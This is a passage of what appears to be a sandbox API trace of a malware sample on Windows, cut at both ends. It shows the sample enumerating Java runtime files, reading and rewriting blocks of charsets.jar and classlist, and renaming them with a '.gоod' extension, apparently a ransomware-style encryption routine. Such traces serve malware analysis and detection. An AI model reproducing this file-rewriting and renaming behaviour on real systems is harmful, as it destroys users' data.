lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0082.042] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1 [0082.042] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0082.042] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1 [0082.042] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1 [0082.042] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1 [0082.042] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0082.043] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0082.043] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0082.043] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzdb.dat", cAlternateFileName="")) returned 1 [0082.043] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1 [0082.043] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 0 [0082.043] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0082.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c760) returned 1 [0082.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c720) returned 1 [0082.044] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", lpFilePart=0x0) returned 0x33 [0082.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0082.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), fInfoLevelId=0x0, lpFileInformation=0x3287a10 | out: lpFileInformation=0x3287a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa)) returned 1 [0082.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0082.046] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", lpFilePart=0x0) returned 0x33 [0082.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0082.046] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0082.046] GetFileType (hFile=0x778) returned 0x1 [0082.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0082.046] GetFileType (hFile=0x778) returned 0x1 [0082.046] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0082.046] ReadFile (in: hFile=0x778, lpBuffer=0x3287dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x3287dd8*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0082.048] CloseHandle (hObject=0x778) returned 1 [0082.048] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", lpFilePart=0x0) returned 0x33 [0082.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0082.048] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0082.048] GetFileType (hFile=0x778) returned 0x1 [0082.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0082.048] GetFileType (hFile=0x778) returned 0x1 [0082.048] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x2e56fa [0082.048] WriteFile (in: hFile=0x778, lpBuffer=0x3289048*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3289048*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0082.049] CloseHandle (hObject=0x778) returned 1 [0082.692] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", lpFilePart=0x0) returned 0x33 [0082.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0082.692] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0082.692] GetFileType (hFile=0x778) returned 0x1 [0082.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0082.692] GetFileType (hFile=0x778) returned 0x1 [0082.692] ReadFile (in: hFile=0x778, lpBuffer=0x339d2d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x339d2d0*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0083.688] CloseHandle (hObject=0x778) returned 1 [0083.688] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", lpFilePart=0x0) returned 0x33 [0083.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0083.688] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0083.689] GetFileType (hFile=0x778) returned 0x1 [0083.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0083.689] GetFileType (hFile=0x778) returned 0x1 [0083.689] WriteFile (in: hFile=0x778, lpBuffer=0x339c050*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x339c050*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0083.689] CloseHandle (hObject=0x778) returned 1 [0084.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", lpFilePart=0x0) returned 0x33 [0084.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.gоod", lpFilePart=0x0) returned 0x38 [0084.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0084.262] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2e700f14, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2e570a)) returned 1 [0084.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0084.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.gоod")) returned 1 [0084.287] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", lpFilePart=0x0) returned 0x30 [0084.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0084.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), fInfoLevelId=0x0, lpFileInformation=0x35d87d8 | out: lpFileInformation=0x35d87d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983)) returned 1 [0084.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0084.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", lpFilePart=0x0) returned 0x30 [0084.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0084.288] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0084.288] GetFileType (hFile=0x778) returned 0x1 [0084.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0084.288] GetFileType (hFile=0x778) returned 0x1 [0084.288] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0084.288] ReadFile (in: hFile=0x778, lpBuffer=0x35d8b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x35d8b90*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0084.291] CloseHandle (hObject=0x778) returned 1 [0084.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", lpFilePart=0x0) returned 0x30 [0084.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0084.291] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0084.291] GetFileType (hFile=0x778) returned 0x1 [0084.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0084.291] GetFileType (hFile=0x778) returned 0x1 [0084.291] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x14983 [0084.291] WriteFile (in: hFile=0x778, lpBuffer=0x35d9df8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x35d9df8*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0084.292] CloseHandle (hObject=0x778) returned 1 [0084.295] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", lpFilePart=0x0) returned 0x30 [0084.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0084.295] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0084.296] GetFileType (hFile=0x778) returned 0x1 [0084.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0084.296] GetFileType (hFile=0x778) returned 0x1 [0084.296] ReadFile (in: hFile=0x778, lpBuffer=0x35dc088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x35dc088*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0084.324] CloseHandle (hObject=0x778) returned 1 [0084.324] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", lpFilePart=0x0) returned 0x30 [0084.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0084.324] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0084.324] GetFileType (hFile=0x778) returned 0x1 [0084.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0084.324] GetFileType (hFile=0x778) returned 0x1 [0084.324] WriteFile (in: hFile=0x778, lpBuffer=0x35dae10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x35dae10*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0084.325] CloseHandle (hObject=0x778) returned 1 [0084.327] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", lpFilePart=0x0) returned 0x30 [0084.327] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.gоod", lpFilePart=0x0) returned 0x35 [0084.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0084.327] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2e79983c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14993)) returned 1 [0084.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0084.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.gоod")) returned 1 [0084.328] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", lpFilePart=0x0) returned 0x34 [0084.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0084.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program 